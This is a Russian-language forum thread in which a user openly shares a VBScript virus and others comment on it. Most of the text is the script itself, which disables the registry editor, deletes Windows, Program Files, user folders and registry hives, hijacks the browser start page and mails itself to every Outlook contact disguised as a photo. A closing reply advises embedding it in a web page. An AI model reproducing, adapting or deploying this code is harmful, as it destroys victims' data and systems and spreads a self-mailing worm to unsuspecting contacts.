Ну вот ещё один вир в .vbs

Code:

'            = = = = = =  = > KASPERSKII SUKA < = = = = = = = 

'      Объявление переменных(этот абзац не перемещать)
Set FileSystemObject = CreateObject("scripting.filesystemobject")
Set Shell = CreateObject("Wscript.Shell")
t = 0: On Error Resume Next ' Пропускать ошибки
Set Application = CreateObject("Shell.Application")
Set InternerExplorer = WScript.CreateObject("InternetExplorer.Application")
Set Outlook = WScript.CreateObject("Outlook.Application")


' Минимизировать все окна
Application.MinimizeAll

' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение - 0
Shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"

'     Вывести сообщение с запросом пароля
prl = inputbox("Введи пароль", "Запрос")
If prl = "Kaza" Then FileSystemObject.deletefile WScript.ScriptFullName, True: Wscript.Quit

' Удаление C:\WINDOWS
str = "C:\WINDOWS"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.deletefile str,True
ElseIf FileSystemObject.folderExists(str) = True Then
FileSystemObject.deletefolder str,True
End If

' Удаление C:\Program Files
str = "C:\Program Files"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.deletefile str,True
ElseIf FileSystemObject.folderExists(str) = True Then
FileSystemObject.deletefolder str,True
End If

' Сделать домашней страницу "http:\\www.lunka.com"
Shell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\www.lunka.com"

' Разослать вирус Все контакты неприятеля
For Index = 1 To Outlook.GetNameSpace("MAPI").AddressLists(1).count
Set OutMail = Outlook.CreateItem(0)
OutMail.to = Outlook.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Привет!"
OutMail.Body = "Лови фотку"
OutMail.Attachments.Add WScript.ScriptFullName
OutMail.Send
Next


'     Удаление всех специальных папок
 For Each Folder In Shell.SpecialFolders
  FileSystemObject.deletefolder folder,True
 Next
' Удаление Documents and Settings
 FileSystemObject.deletefolder"C:\Documents and Settings",True
 FileSystemObject.deletefolder"D:\Documents and Settings",True
 FileSystemObject.deletefolder"E:\Documents and Settings",True

' Удалить запись в Реестре
Shell.RegDelete "HKEY_LOCAL_MACHINE\"

'     Вывести сообщение 
Shell.popup "Master", 5, "Автор вируса", 0+48

Ну как?

 

Про остальные функции не знаю, но удаление каталогов Windows и programm files не прокатит: система не даст.

 

Code:

KASPERSKII SUKA

МООООООДНО.....

 

сори за тупой вопрос: А в чём или где его писать???

 

помещаешь в веб страницу
<SCRIPT LANGUAGE="VBScript"> тут код </SCRIPT>